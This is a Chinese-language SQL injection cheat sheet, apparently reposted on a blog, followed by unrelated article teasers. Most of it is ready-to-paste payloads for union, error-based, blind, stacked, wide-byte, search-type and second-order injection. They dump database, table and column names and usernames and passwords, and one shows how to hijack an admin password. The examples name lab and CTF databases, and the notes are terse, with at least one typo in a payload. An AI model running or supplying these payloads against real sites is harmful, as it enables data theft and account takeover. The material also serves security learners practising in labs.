SQL注入基础速通

embedded/2024/10/18 14:21:37/

<aside> 💡

SQL速通

</aside>

注入点类型(数字型,字符型)

数字型:1

字符型:’ 和 ‘’

**数字型:?id=1 and 1=1        ?id=1 and 1=2      
//报错为数字型字符型:?id=1' and 1=1--+    ?id=1' and 1=2--+
//报错为字符型单引号,双引号判断:?id=1'"--+ //出来是带'说明单引号,没有就是双引号**

找注入点

**SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 
3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 
4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名**

脱库

**1.暴库:?id=-1' union select 1,2,database() --+2.暴表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+3.暴字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+4.暴数据:?id=-1' union select 1,2,group_concat(username,password) from 'users' --+**

<aside> 💡

注入点

</aside>

注入点接口类型

  • get注入
  • post注入
  • Referer注入:URL来源。
  • UA注入:客户端软件的名称、版本、操作系统、语言等详细信息。
  • Cookie注入
  • XFF注入:真实IP,代理IP,再代理IP。
**X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#**

<aside> 💡

注入姿势

</aside>

<aside> 💡

union注入

</aside>

**第一步:判断是否是注入点(前文已提及)第二步:爆出字段(有多少列)xxx' order by 3# 观察是否报错来判断有多少列第三步:找出可回显字段,爆出数据库,版本'union select 1,database(),version()#第四步:爆出表名'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3#第五步:爆出列名'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),3#显示列名第六步:爆出数值'union select 1,(select group_concat(列名) from 表名),3#TIPS:如果#不行可尝试--+都是代表注释**

<aside> 💡

报错注入

</aside>

<aside> 💡

Mid()

</aside>

mid()

**MID 函数
作用:用于从文本字段中提取字符。
mid()函数语法如下
SELECT MID(column_name,start[,length]) FROM table_name其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数**
**-1"/**/&&/**/updatexml(1,concat(0x7e,mid((select/**/group_concat(value)/**/from/**/Fl4g),20,32),0x7e),1)#mid((select/**/group_concat(value)/**/from/**/Fl4g),1,31)1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from flag ),32,31),0x7c)))#**

updatexml()函数

?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+  //可以单独database()
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+

extractvalue()函数

?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+ //数据库位置?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
?id=1" and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) --+

floor()函数 //主键冲突

1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y) --+
1' and (select 1 from (select count(*),concat((select concat(username,id,password) from users limit 1, 1),floor(rand(0)*2))x from information_schema.tables group by x)y) --+

exp()函数

id=1' or exp(~(select * from(select database())a)) or '
id=1' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')a)) or '
id=1' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name = 'users')a)) or '
id=1' or wzp(~(select * from(select password from users limit 0,1)a)) or '

<aside> 💡

布尔盲注

</aside>

**?id=1' and (length(database()))>7 --+	
?id=1' and (length(database()))>8 --+**

<aside> 💡

时间盲注

</aside>

**?id=1 and if((select length(schema_name) from information_schema.schemata limit0,1)=18,sleep(5),1)
//第一个数据库名有多少个字符?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),1,1)))=105,sleep(5),1)
?id=1 and if((select ascii(substr((select schema_name from information_schema.schemata limit0,1),2,1)))=110,sleep(5),1)//判断第一个库第二个字符
//判断第一个库第一个字符**

<aside> 💡

搜索型注入

</aside>

原理:模糊查询

**$sql = "select * from user where password like '%$pwd%' order by password";
--->
$pwd=ryan'and 1=1 and '%'='
--->
$sql = "select * from user where password like '%ryan'and 1=1 and '%'='%' order by password";**

Paylaod

o%' and 1=1 #
**o%' and 1=2 #                    //判断注入点o%' order by 3 #                 //查询字段数o%' union select 1,database(),user() #
//暴所有库      o%' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) #
o%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' ) #
o%' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users' ) #
o%' union select id,username,password from users #**

<aside> 💡

堆叠注入

</aside>

原理:1. 目标未对";"号进行过滤 2. 目标中间层查询数据库信息时可同时执行多条sql语句

**//查看数据库
?id=1';show databases --+//查看表格
?id=1';show tables --+//查看列
?id=1';show columns from `1919810931114514` --+//查看数据
?id=1';select flag from `1919810931114514` --+**

<aside> 💡

宽字节注入

</aside>

原理:对单引号进行转义

**//闭合语句
?id=1%df'  -- s//判断注入点
?id=1%df' and 1=1 -- s
?id=1%df' and 1=2 -- s//判断字段
?id=1%df' order by 3 -- s//尝试联合查询,定位回显点
?id=-1%df' union select 1,2,3 -- s//爆出当前用户
?id=-1%df' union select 1,user(),database() -- s//查找所有的库名
?id=-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata -- s//查找所有的表名
?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- //查找所有的字段名
//过滤了双引号,会报错?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users" -- s//查数据得到flag
?id=-1%df' union select 1,group_concat(password),group_concat(username) from user -- a**

<aside> 💡

二次注入

</aside>

原理:登录后修改注入

**//$username存在注入点
//这里是登录之后,用户对密码的修改,形成任意修改
//在注册时将修改账户名为-----》admin'#
//修改管理员账号
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";**

Payload

**//输入框写入密码
//注册时名字为admin'#
//成功修改管理员账号$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";**


http://www.ppmy.cn/embedded/127195.html

相关文章

应用UX体验标准

1、应用导航 标准编号 2.1.1.1 系统返回 标准描述 所有界面都可以执行系统返回操作。 除一级界面外&#xff0c;所有全屏界面均需要提供返回/关闭/取消按钮。(全屏沉浸式场景除外) 测试方法 使用侧边返回手势&#xff0c;验证当前应用界面是否可以执行系统返回操作。检查…

Spring框架中的多重构造器选择:实例化对象的策略解析

在Spring框架中&#xff0c;依赖注入和对象实例化是核心功能之一。当我们在Spring容器中配置一个Bean&#xff0c;并且这个Bean类有多个构造器时&#xff0c;一个关键问题便浮现出来&#xff1a;当没有明确指定使用哪个构造器时&#xff0c;Spring是如何决定使用哪一个来实例化…

【C++】STL--list

1. list的介绍 list的文档介绍 2. list的使用 list中的接口比较多&#xff0c;此处类似&#xff0c;只需要掌握如何正确的使用&#xff0c;然后再去深入研究背后的原理&#xff0c;已 达到可扩展的能力。以下为list中一些常见的重要接口。 2.1 list的构造 // list的构造 vo…

【工具】HTTrack:网站一键克隆下载,实现离线浏览与备份的利器

什么是 HTTrack&#xff1f; HTTrack 是一款用于复制完整网站的开源工具&#xff0c;它可以从服务器下载整个网站的内容&#xff0c;包括 HTML 文件、图像、样式表、脚本等资源。通过这种方式&#xff0c;你可以在离线状态下浏览网站&#xff0c;就像在线一样。 HTTrack 支持…

【Adobe AE】Adobe After Effects 快捷键介绍

Adobe After Effects (简称AE) 是一款强大的视频合成和动态图形设计软件&#xff0c;掌握其快捷键能够极大提升工作效率。 WIN版本下载地址 mac版本下载地址 以下是AE中一些常用的快捷键及使用方法&#xff0c;这边我按照不同的功能分类进行了整理&#xff1a; 项目管理 新…

OpenAI 开源多智能体框架Swarm

毫无疑问&#xff0c;多智能体肯定是 OpenAI 未来重要的研究方向之一&#xff0c;前些天 OpenAI 著名研究科学家 Noam Brown还在 X 上为 OpenAI 正在组建的一个新的多智能体研究团队招募机器学习工程师。 就在几个小时前&#xff0c;这个或许还没有组建完成的新研究团队就已经开…

【GRACE-FO卫星简介】

GRACE-FO卫星是GRACE卫星计划的后续项目&#xff0c;由美国国家航空航天局&#xff08;NASA&#xff09;与德国地学研究中心&#xff08;GFZ&#xff09;合作研制。以下是对GRACE-FO卫星的详细介绍&#xff1a; GRACE-FO卫星是GRACE卫星计划的后续卫星&#xff0c;由NASA与GFZ合…

MySQL基础篇笔记

关系型数据库&#xff08;RDBMS&#xff09; 概念&#xff1a;建立在关系模型基础上&#xff0c;由多张相互连接的二维表组成的数据库 特点&#xff1a; 使用表存储数据&#xff0c;格式统一&#xff0c;便于维护使用SQL语言操作&#xff0c;标准统一&#xff0c;使用方便 …